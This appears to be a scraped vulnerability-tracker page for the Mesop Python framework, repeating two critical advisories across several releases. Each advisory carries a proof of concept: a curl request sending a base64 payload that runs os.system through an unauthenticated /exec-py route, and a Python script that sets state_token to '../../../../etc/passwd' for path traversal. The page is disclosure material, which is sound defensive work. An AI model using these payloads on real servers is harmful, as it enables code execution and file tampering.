          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Feb 16, 2026

1.2.0 minor

2 CVEs

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Jan 01, 2026

1.2.0rc1 pre

2 CVEs

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Dec 31, 2025

1.1.1 patch

2 CVEs

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Nov 24, 2025

1.1.1rc3 pre

2 CVEs

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Nov 22, 2025

1.1.1rc2 pre

2 CVEs

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

